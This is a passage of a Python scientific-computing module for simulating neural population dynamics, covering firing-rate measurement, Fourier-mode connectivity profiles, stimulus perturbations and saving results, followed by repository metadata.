self.t = None\n        self.length = None\n        self.tstep = 0\n        self.tstep2 = 0\n        self.re = None\n        self.ri = None\n        self.r = None\n\n        self.spikes_e = None\n        self.spikes_i = None\n\n        self.update(self.fo)\n\n    def update(self, opts, **kwargs):\n        \"\"\" Function to prepare the firing rate observables \"\"\"\n        self.o.update(opts)\n        self._init_prmts()\n        self.t = self._t_vector()\n        self.length = len(self.t)\n        self.re = self._r_vector((self.length, self.o['n']))\n        self.ri = self._r_vector((self.length, self.o['n']))\n        self.r = self._r_vector((self.length, self.o['n']))\n        try:\n            a = kwargs['tstep'] * 1\n            del a\n            # TODO: be able to change the FR vector size in the shared memory or use the output queue (easier)\n            self.logger.warning(\"Firing Rate measurement parameters can't \"\n                                \"be changed (yet) without restarting the program.\")\n        except KeyError:\n            pass\n\n    def _r_vector(self, size):\n        \"\"\" Returns a FR vector with a size that depends on the sampling rate.\"\"\"\n        if type(size) is not tuple:\n            self.logger.error(\"Size must be tuple T x n\")\n            return -1\n        tlen = size[0]\n        n = size[1]\n        if self.nf:  # For NF computing (n represents number of nodes, spatial dimension)\n            r = 0.0 * np.zeros(shape=(tlen, n))\n        else:\n            r = 0.0 * np.zeros(tlen)\n        return r\n\n    def _t_vector(self):\n        \"\"\" Returns a Time vector with a size that depends on the sampling rate.\"\"\"\n        # Measures of the firing rate are done every self.spl_steps\n        vt_steps = np.arange(int(self.o['t0'] / self.dt) + self.sld_steps, self.nsteps, self.spl_steps)\n        return (vt_steps - self.sld_steps / 2) * self.dt\n\n    def _init_prmts(self):\n        \"\"\" Function to set up the basic parameters for measurement.\"\"\"\n        # Fundamental parameters of FR measurement: sliding window, sampling rate,\n        #                                           convolution function (heaviside, gauss).\n        self.sld_windw = self.fo['sw']  # Sliding window in simulation time units (dt units)\n        self.sld_steps = int(self.sld_windw / self.dt)  # Sliding window in simulation time steps\n        self.wones = np.ones(int(self.sld_steps))  # Auxiliary vector of ones (for dot product)\n        self.tstep = 0\n        # Rate of sampling\n        self.spl_time = self.fo['spr']\n        self.spl_steps = int(self.spl_time / self.dt)\n\n        # TODO: Compute how much memory is going to be use, and check availability\n\n        # Create Spikes matrices. DOES NOT depend on the number of populations (n).\n        #                         IT DOES depend on the type of populations (exc, inh, ...)\n        # During the simulation the spikes are transferred to the following matrices\n        self.spikes_e = 0 * np.zeros(shape=(self.Ne, self.sld_steps))\n        self.spikes_i = 0 * np.zeros(shape=(self.Ni, self.sld_steps))\n\n    def firing_rate(self, tstep, temps, var, aux=None):\n        \"\"\" Computes the firing rate for a given matrix of spikes. Firing rate is computed\n            every certain time (sampling). Therefore at some time steps the firing rate is not computed,\n        :param tstep: time step of the simulation\n        :param temps: time of the simulation\n        :param var: variable dictionary (where re and ri and r are)\n        :param aux: auxiliary matrix for neural field computation (defined in data)\n        :return: nothing. modifies self.t, self.re, self.ri. self.r)\n        \"\"\"\n        if tstep % self.spl_steps == 0 and (temps >= self.sld_windw):\n            # We divide by cases ('nf', 'fr', 'exc', 'inh', ...)\n            if self.nf and aux:\n                if not aux:\n                    self.logger.error(\"Auxiliary matrix is needed.\")\n                    return -1\n                var['sp_re'][self.tstep] = (1.0 / self.sld_windw / self.dNe) * np.dot(aux['e'],\n                                                                                      np.dot(self.spikes_e, self.wones))\n                var['sp_ri'][self.tstep] = (1.0 / self.sld_windw / self.dNi) * np.dot(aux['i'],\n                                                                                      np.dot(self.spikes_i, self.wones))\n            else:\n                var['sp_re'][self.tstep] = (1.0 / self.dt) * self.spikes_e.mean()\n                var['sp_ri'][self.tstep] = (1.0 / self.dt) * self.spikes_i.mean()\n\n            var['sp_r'][self.tstep] = (var['sp_re'][self.tstep] + var['sp_ri'][self.tstep]) / 2.0\n            self.tstep += 1\n            self.tstep2 += 1\n            self.tstep = self.tstep % self.length\n            var['frtstep'].value = self.tstep\n            var['frtstep2'].value = self.tstep2\n\n\nclass Connectivity:\n    def __init__(self, opts, kind='effective'):\n        self.log = logging.getLogger('simu_lib.Connectivity')\n        self.name = 'network'\n        # Connectivity set up\n        self.log.debug(\"Setting up connectivity, type: %s\" % kind)\n        # Mutable parameters of the connectivity must be merged with parameters['parameters']\n        o = opts['network']  # Network parameters\n        self.n = opts['n']  # Number of nodes in the network\n        # Basic connectivity elements\n        [i, j] = np.meshgrid(xrange(self.n), xrange(self.n))\n        self.ij = (i - j) * (2.0 * pi / self.n)  # Grid\n        del i, j\n        self.eigenmodes = None\n        self.eigenvectors = None\n        self.kind = kind\n\n        profile = o['c']\n        self.log.debug(\"Connectivity profile: %s\" % profile)\n        # Types of connectivity: FS (Fourier Series), Mex-Hat, Random Laplace\n        self.cntswitch = {'fs': self.cosine_series, 'cs': self.cosine_series, 'mex-hat': None, 'twopops': self.twopop}\n        self.c, prmts = self.cntswitch[profile](o, kind)\n        opts['parameters'].update(prmts)\n\n    def update(self, opts, **kwargs):\n        try:\n            a = kwargs['tstep'] * 1\n            del a\n        except KeyError:\n            pass\n\n        self.c, dummy = self.cntswitch[opts['c']](opts, self.kind)\n\n    def cosine_series(self, opts, kind='effective'):\n        sign = {'exc': 1.0, 'inh': -1.0}\n        # Default modes of effective (jk) connectivity are 0, 10, 7.5, -2.5\n        if 'jk' in opts:\n            modes = np.array(opts['jk'])\n            self.log.debug(\"Loading custom modes of effective connectivity: %s\" % modes)\n        else:\n            modes = 10.0 * np.array([0, 1, 0.75, -0.25])\n            self.log.debug(\"Loading default modes of effective connectivity: %s\" % modes)\n\n        eimodes = {}\n        if kind in ('exc', 'inh'):\n            key = 'jk' + kind[0]\n            if key in opts:\n                modes = sign[kind] * np.array(opts[key])\n                self.log.debug(\"Using custom modes of connectivity: %s\" % modes)\n                cnt = self.jcntvty(modes, coords=self.ij)\n            else:\n                self.log.debug(\"Using the effective connectivity to compute the %s cntvty. profile.\" % kind)\n\n                # Separating connectivity modes to build a excitatory modulated connectivity and a flat inhibitory\n                # connectivity. Create a dummy connectivity to see the minimum value:\n                minvalue = np.min(self.jcntvty(modes, coords=self.ij)[0])\n                self.log.debug('Minumum value of the cntvty.: %f. Projected mode 0 value: %f' %\n                               (minvalue, -1.0 * np.floor(minvalue)))\n                minvalue = np.floor(minvalue)\n                eimodes = {'exc': list(modes), 'inh': [0.0, 0.0]}\n                if minvalue < 0:\n                    newmode0 = -1.0 * minvalue\n                else:\n                    newmode0 = modes[0]\n                mode0 = modes[0]\n                if mode0 < newmode0:\n                    eimodes['exc'][0] = newmode0\n                    eimodes['inh'][0] = minvalue\n                    self.log.debug('Mode 0 set to %f' % eimodes['exc'][0])\n                self.log.debug(\"%s modes: %s\" % (kind, str(eimodes[kind])))\n                cnt = self.jcntvty(eimodes[kind], coords=self.ij)\n                modes = eimodes[kind]\n            eimodes[key] = modes\n        else:\n            cnt = self.jcntvty(modes, coords=self.ij)\n        self.eigenmodes = modes\n        return cnt, eimodes\n\n    def twopop(self, opts, kind='sym'):\n        # Four parameters jee, jei, jii, jie\n        ds = {'jee', 'jii', 'js'}.intersection(opts)\n        dc = {'jei', 'jie', 'jc'}.intersection(opts)\n        if len(ds) > 2 or len(dc) > 2:\n            self.log.warning(\"Redundant information about connectivity, use either jc/js, or j{e}{i}. Expect the \"\n                             \"unexpected.\")\n            # In case is symmetrical, jee=jii=js, jei=jie=jc\n        j = {}\n        if kind == 'sym':\n            if ds and dc:\n                for key in ds:\n                    j['js'] = opts[key]\n                for key in dc:\n                    j['jc'] = opts[key]\n            else:\n                j['js'] = opts['jke'][0]\n                j['jc'] = opts['jke'][1]\n        elif ds and dc:\n            for key in ds.union(dc):\n                j[key] = opts[key]\n        else:\n            j['jee'], j['jei'], j['jii'], j['jie'] = (opts['jke'][0], opts['jke'][1], opts['jki'][0], opts['jki'][1])\n        return j, j\n\n    @staticmethod\n    def gauss0_pdf(x, std):\n        return stats.norm.pdf(x, 0, std)\n\n    @staticmethod\n    def mexhat0(a1, std1, a2, std2, length=500):\n        x = np.linspace(-np.pi, np.pi, length)\n        return x, a1 * Connectivity.gauss0_pdf(x, std1) + a2 * Connectivity.gauss0_pdf(x, std2)\n\n    @staticmethod\n    def vonmises(je, me, ji, mi, length=None, coords=None):\n        if coords is None:\n            if length is None:\n                length = 500\n            theta = (2.0 * np.pi / length) * np.arange(length)\n        else:\n            theta = 1.0 * coords\n        return je / special.i0(me) * np.exp(me * np.cos(theta)) - ji / special.i0(mi) * np.exp(mi * np.cos(theta))\n\n    @staticmethod\n    def jcntvty(jk, coords=None):\n        \"\"\" Fourier series generator.\n        :param jk: array of eigenvalues. Odd ordered modes of Fourier series (only cos part)\n        :param coords: matrix of coordinates\n        :return: connectivity matrix J(|phi_i - phi_j|)\n        \"\"\"\n        jphi = 0\n        for i in xrange(len(jk)):\n            if i == 0:\n                jphi = jk[0]\n            else:\n                # Factor 2.0 is to be coherent with the computation of the mean-field S, where\n                # we devide all connectivity profile by (2\\pi) (which is the spatial normalization factor)\n                jphi += 2.0 * jk[i] * np.cos(i * coords)\n        return jphi\n\n    @staticmethod\n    def jmodes0(a1, std1, a2, std2, n=20):\n        return 1.0 / (2.0 * np.pi) * (\n            a1 * np.exp(-0.5 * (np.arange(n)) ** 2 * std1 ** 2) + a2 * np.exp(-0.5 * (np.arange(n)) ** 2 * std2 ** 2))\n\n    @staticmethod\n    def jmodesdct(jcnt):\n        \"\"\" Extract fourier first 20 odd modes from jcnt function.\n        :param jcnt: periodic odd function.\n        :return: array of nmodes amplitudes corresponding to the FOurie modes\n        \"\"\"\n        l = np.size(jcnt)\n        jk = dct(jcnt, type=2, norm='ortho')\n        for i in xrange(len(jk)):\n            if i == 0:\n                jk[i] *= np.sqrt(1.0 / (4.0 * l))\n            else:\n                jk[i] *= np.sqrt(1.0 / (2.0 * l))\n        return jk\n\n    @staticmethod\n    def vonmises_modes(je, me, ji, mi, n=20):\n        \"\"\" Computes Fourier modes of a given connectivity profile, built using\n            Von Mises circular gaussian functions (see Marti, Rinzel, 2013)\n        \"\"\"\n        modes = np.arange(n)\n        return je * special.iv(modes, me) / special.i0(me) - ji * special.iv(modes, mi) / special.i0(mi)\n\n\nclass Perturbation:\n    \"\"\" Tool to handle perturbations: time, duration, shape (attack, decay, sustain, release (ADSR), etc. \"\"\"\n\n    def __init__(self, opts, **kwargs):\n        self.logger = logging.getLogger('tools.Perturbation')\n        self.name = 'perturbation'\n\n        # The class will create a external current \"it\" vector containing any external perturbation\n        # Depending on the selected system, mainly \"fr\" or \"nf\" the possible properties of the perturbation vary\n        # but many properties are common: such as amplitude, duration of the pulse (if pulse), rising and decay, etc.\n\n        # Common fixed parameters:\n        self.n = opts['n']\n        self.nf = opts['nf']\n        self.dt = opts['dt']\n        self.nsteps = int(opts['tfinal'] / self.dt)\n        # Spatial modulation (wavelengths)\n        self.random = False\n        self.pstart = None\n        self.pend = None\n        self.phi = np.linspace(-pi, pi, self.n)\n        self.it = None\n        self.active = True\n        self.systems = opts['systems']\n        opts.update(kwargs)\n        self.update(opts[self.name], 0)\n\n    def check(self, tstep):\n        # self.logger.debug(\"Perturbation end: %d, current tstep: %d\" % (self.pend, tstep))\n        if tstep >= self.pend:\n            self.logger.debug(\"Deactivating perturbation.\")\n            self.it = self.it * 0.0\n            self.active = False\n\n    def update(self, opts, tstep, tag=None):\n        self.pstart = tstep * 1\n        it = None\n        try:\n            it = self.it * 1.0\n        except TypeError:\n            pass\n        if tstep != 0:\n            opts['p0'] = self.pstart * self.dt + self.dt\n        else:\n            self.pstart = opts['p0'] / self.dt\n        self.it = self._time_modulation(**opts)\n        self.active = True\n        if self.nf:\n            self.it = opts['amp'] * np.dot(np.array((self.it,)).T, (self._spatial_modulation(**opts),))\n        else:\n            self.it = opts['amp'] * self.it\n        try:\n            self.it += it\n        except TypeError:\n            pass\n\n        # opts.update({'it': self.it})\n        if tag:\n            opts[tag].update({'it': opts['it'], 'sym': opts['sym'], 'update': 'idle'})\n        return 0\n\n    def _spatial_modulation(self, modes=(1,), sprofile='fourier', cntmodes=None, phi=False, **kwargs):\n        \"\"\" Gives the spatial profile of the perturbation: different wavelength and combinations\n            of them can be produced.\n        \"\"\"\n        self.logger.debug(\"Spatial profile of the perturbation: '%s'\" % sprofile)\n        self.logger.debug(\"Additional arguments are %s\" % kwargs)\n        # Check format of modes\n        try:\n            modes = list(modes)\n        except TypeError:\n            modes = [modes]\n        # Typical modulations are gaussian or cosine (fourier) series\n        if sprofile == 'gauss':\n            return Connectivity.vonmises(1.0, 8.0, 0.0, 1.0, self.n, np.linspace(-pi, pi, self.n))\n        elif sprofile == 'fourier':\n            sp = 0.0\n            for m in modes:\n                if cntmodes is None:  # Use the connectivity eigenmodes to create the perturbation modes\n                    if phi:  # Set a phase different of zero: the perturbation is centered at phi\n                        if phi == 0.0:\n                            phi = np.random.randn(1) * np.pi\n                    else:\n                        phi = 0.0\n                    self.logger.debug(\"Perturbation of mode %d with phase %f\" % (m, phi))\n                    sp += np.cos(m * self.phi + phi)\n                else:\n                    sp += cntmodes[m] * 1.0\n            return sp\n        else:\n            self.logger.error(\"Spatial profile '%s' not implemented.\" % sprofile)\n            return 0.0\n\n    def _time_modulation(self, p0, pd=0.5, rise=0.2, decay=0.0, tprofile='pulse', **kwargs):\n\n        \"\"\" Function that produces a specific time modulated function to be applied to the perturbation vector.\n\n        :param p0: initial time of the perturbation, given in dt units (not in tsteps). Redundant times should be hand\n                      led previously.\n        :param pd: duration of the pulse in dt units (not time steps)\n        :param rise: time constant of the rising function\n        :param decay: time constant of the decay function\n        :param tprofile: type of perturbation: \"pulse\", \"oscil\", \"chirp\"\n        \"\"\"\n        self.logger.debug(\"Additional arguments are %s\" % kwargs)\n        # Set up relevant times in time-step units\n        # We create the vector from 0 to dts and then we roll the vector to much t0s\n        t0s = int(p0 / self.dt) % self.nsteps\n        rt, dt, ft = (np.array([0.0]), np.array([0.0]), np.array([0.0]))\n        it = np.zeros(self.nsteps)\n        if pd > 0:  # Finite perturbation\n            dts = int(pd / self.dt)\n\n            if dts > self.nsteps:  # Various cycles of the simulation # TODO\n                self.cycles = (t0s + dts) // self.nsteps\n                pd = self.nsteps * self.dt * self.cycles\n            t = np.arange(0.0, pd, self.dt)\n\n            if tprofile == 'pulse':\n                self.pend = self.pstart + dts - 1\n                self.logger.debug(\"Perturbation starting at %d (%f) and finishing at %d (%f)\" % (\n                self.pstart, self.pstart * self.dt, self.pend, self.pend * self.dt))\n                if rise > 0.01:\n                    rt = np.exp(t / rise) - 1.0\n                    mask = (rt >= 1.0)\n                    rt[mask] = rt[mask] * 0.0 + 1.0\n                else:\n                    rt = np.ones(len(t)) * 1.0\n                if decay > 0:\n                    dt = np.exp(-t / decay) - 1.0\n                ft = np.concatenate((rt, dt))\n            elif tprofile == 'oscil':\n                pass\n            elif tprofile == 'chirp':\n                pass\n            else:\n                self.logger.error(\"Temporal profile '%s' not implemented.\" % tprofile)\n                return 0.0\n            it[0:len(ft)] = ft * 1.0\n        # Roll the vector to start on t0\n        it = np.roll(it, t0s)\n        return it\n\n    def _destroy(self):\n        # Delete the perturbation\n        pass\n\n\nclass SaveResults:\n    \"\"\" Class to save and load results. Save pickled data, save csv data, select saving file. Load initial\n        conditions (for spiking neuron simulaitons). \"\"\"\n\n    def __init__(self, opts, variables):\n        self.logger = logging.getLogger('tools.SaveResults')\n        self.o = opts\n        self.v = variables\n        self.nsteps = len(np.arange(opts['t0'], opts['tfinal'], opts['dt']))\n        self.choice = None\n        self.xtvars = {'t': None, 'tfr': None, 'phi': None}\n        self.ic = False\n        for xtvar in self.xtvars.copy():\n            var = variables.get(xtvar, None)\n            if var is not None:\n                l = len(var)\n                self.xtvars[xtvar] = l\n            else:\n                self.xtvars.pop(xtvar)\n        self.logger.debug(\"XTvars: %s\" % self.xtvars)\n\n    def __call__(self, *args, **kwargs):\n        self.choice = kwargs.get('choice', 'all')\n        self.path = kwargs.get('path', '%s/saved_result-%s' % (self.o['dir'], self.choice))\n        if kwargs.get('save_ic', False):\n            self.save_ic(kwargs['data'])\n            return 0\n        elif kwargs.get('load_ic', False):\n            self.logger.info(\"Loading initial conditions.\")\n            return self.load_ic()\n\n        elif self.choice:\n            self.logger.info(\"Saving %s data to %s.\" % (self.choice, self.path))\n            self.save_vars()\n            return 0\n\n        return -1\n\n    def save_vars(self):\n        # Two options: save all variables, or save selected variable\n        dvars = []\n        if self.choice == 'all':\n            for var in self.v:\n                if var not in self.xtvars:\n                    dvars.append(self.identify_domain(var))\n                    if dvars[-1]:\n                        dvars[-1].append(var)\n                    else:\n                        dvars.pop(-1)\n        # Save selected variable.\n        else:\n            dvars.append(self.identify_domain(self.choice))\n            dvars[-1].append(self.choice)\n\n        # Save\n        self.save(dvars, self.path)\n\n    def save_ic(self, data):\n        # Identify system.\n        if self.o['nf']:\n            self.o['ic_dir'] = self.o['dir'] + '/ic/nf'\n        else:\n            self.o['ic_dir'] = self.o['dir'] + '/ic/fr'\n        d = {'ic_file': True, 'var': self.choice}\n        d.update(data)\n        # Variable is a spiking neuron network variable\n        if self.choice[0:2] == 'sp':\n            system = 'sn' + '_' + self.o['sp']\n            # \"data\" is a dictionary\n        else:\n            system = 'fr'\n            vdata = self.v[self.choice][::]\n            d.update({self.choice: vdata})\n        # Create dir tree.\n        self.o['ic_dir'] = self.o['ic_dir'] + '/' + system\n        create_dir(self.o['ic_dir'])\n        # Save data necessary to be able to load the same system.\n        path = self.o['ic_dir'] + '/' + '-'.join(now('_', '.'))\n        np.save(path, d)\n        self.logger.info(\"Initial conditions saved to %s.\" % path)\n\n    def load_ic(self):\n        # Load file\n        try:\n            self.logger.info(\"Loading %s...\" % self.path)\n            data = dict(np.load(self.path).item())\n            # Check format\n            if not data.get('ic_file', False):\n                self.logger.error(\"This is not an initial condition container.\")\n                return None\n        except (KeyError, IOError):\n            self.logger.error(\"This is not an initial condition container.\")\n            return None\n        # Load options and create new data object\n        self.o = data['opts']\n        self.logger.debug(\"Creating new 'data' instance...\")\n        new_data = Data(self.o, external=(None,))\n        # Identify the variable which has to be loaded\n        var = data['var']\n        self.logger.debug(\"Loading '%s'...\" % var)\n        # Variable is a Spiking neuron variable\n        if var[0:2] == 'sp':\n            # Load voltages and spikes matrices\n            new_data.m_e = data['m_e']\n            new_data.m_i = data['m_i']\n            new_data.spk_e = data['spk_e']\n            new_data.spk_i = data['spk_i']\n            try:\n                new_data.spk_e_mod = data['spk_e_mod']\n                new_data.spk_i_mod = data['spk_i_mod']\n            except:\n                pass\n        else:\n            new_data.vars[var][::] = data[var][::]\n        return new_data\n\n    def save(self, data, path):\n        \"\"\" Save the data. Different possibilities: pickled, plot, ... \"\"\"\n        # TODO: different saving formats\n        # Dictionary: to save a pickled object\n        dictio = self.create_dict(data)\n        dictio['opts'] = self.o\n        dictio['last_step'] = self.v['tstep'].value * 1.0\n        np.save(path, dictio)\n\n    def identify_domain(self, var):\n        \"\"\" Function that identifies the domain of the variable named var\"\"\"\n        dim = np.shape(self.v[var])\n        dvars = []\n        # Identify the variable(s)\n        for d in dim:\n            for xtvar in self.xtvars:\n                if d == self.xtvars[xtvar]:\n                    dvars.append(xtvar)\n        return dvars\n\n    def create_dict(self, variables):\n        \"\"\" Creates a dictionary with the variables to be saved in a pickled object\"\"\"\n        dictio = {}\n        for var in variables:\n            dictio[var[-1]] = {}\n            for v in var:\n                if v[0:2] == 'sp':\n                    tstep = self.v['frtstep'].value\n                else:\n                    tstep = self.v['tstep'].value % self.nsteps\n                if v not in ('t', 'tfr', 'phi'):\n                    if var[0] in ('t', 'tfr') and tstep != 0:\n                        ydata = np.concatenate((self.v[v][tstep:], self.v[v][:tstep]))\n                    else:\n                        ydata = self.v[v][::]\n                else:\n                    ydata = self.v[v][::]\n\n                dictio[var[-1]][v] = ydata\n        return dictio\n", "repo_name": "JMED106/QIF-FR", "sub_path": "simu_lib.py", "file_name": "simu_lib.py", "file_ext": "py", "file_size_in_byte": 40532, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 8, "usage_type": "call"}, {"api_name": "logging.NullHandler", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 18, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 90, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 91, "usage_type": "attribute"}, {"api_name": "numpy.linspace", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 94, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 95, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 163, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 164, "usage_type": "call"}, {"api_name": "numpy.dtype", "line_number": 185, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 185, "usage_type": "attribute"}, {"api_name": "numpy.float64", "line_number": 185, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 185, "usage_type": "attribute"}, {"api_name": "numpy.int8", "line_number": 185, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 186, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 189, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 192, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 195, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 200, "usage_type": "call"}, {"api_name": "numpy.int8", "line_number": 200, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 201, "usage_type": "call"}, {"api_name": "numpy.int8", "line_number": 201, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 209, "usage_type": "call"}, {"api_name": "numpy.int8", "line_number": 209, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 210, "usage_type": "call"}, {"api_name": "numpy.int8", "line_number": 210, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 222, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 223, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 228, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 237, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 238, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 242, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 248, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 248, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 257, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 258, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 259, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 262, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 264, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 267, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 268, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 273, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 274, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 277, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 279, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 282, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 283, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 285, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 293, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 293, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 295, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 295, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 295, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 295, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 298, "usage_type": "call"}, {"api_name": "numpy.roll", "line_number": 300, "usage_type": "call"}, {"api_name": "libNeuroDyn.lorentz", "line_number": 306, "usage_type": "name"}, {"api_name": "libNeuroDyn.gauss", "line_number": 306, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 308, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 309, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 311, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 312, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 316, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 320, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 332, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 410, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 412, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 418, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 427, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 438, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 439, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 456, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 457, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 458, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 459, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 474, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 482, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 509, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 512, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 519, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 527, "usage_type": "call"}, {"api_name": "numpy.floor", "line_number": 529, "usage_type": "call"}, {"api_name": "numpy.floor", "line_number": 530, "usage_type": "call"}, {"api_name": "scipy.stats.norm.pdf", "line_number": 577, "usage_type": "call"}, {"api_name": "scipy.stats.norm", "line_number": 577, "usage_type": "attribute"}, {"api_name": "scipy.stats", "line_number": 577, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 581, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 581, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 589, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 589, "usage_type": "call"}, {"api_name": "scipy.special.i0", "line_number": 592, "usage_type": "call"}, {"api_name": "scipy.special", "line_number": 592, "usage_type": "name"}, {"api_name": "numpy.exp", "line_number": 592, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 592, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 608, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 613, "usage_type": "attribute"}, {"api_name": "numpy.exp", "line_number": 614, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 614, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 622, "usage_type": "call"}, {"api_name": "scipy.fftpack.dct", "line_number": 623, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 626, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 628, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 636, "usage_type": "call"}, {"api_name": "scipy.special.iv", "line_number": 637, "usage_type": "call"}, {"api_name": "scipy.special", "line_number": 637, "usage_type": "name"}, {"api_name": "scipy.special.i0", "line_number": 637, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 644, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 660, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 688, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 688, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 714, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 721, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 721, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 721, "usage_type": "attribute"}, {"api_name": "numpy.cos", "line_number": 725, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 748, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 749, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 756, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 763, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 767, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 769, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 770, "usage_type": "call"}, {"api_name": "numpy.roll", "line_number": 780, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 793, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 796, "usage_type": "call"}, {"api_name": "sconf.create_dir", "line_number": 863, "usage_type": "call"}, {"api_name": "sconf.now", "line_number": 865, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 866, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 873, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 911, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 915, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 936, "usage_type": "call"}]}
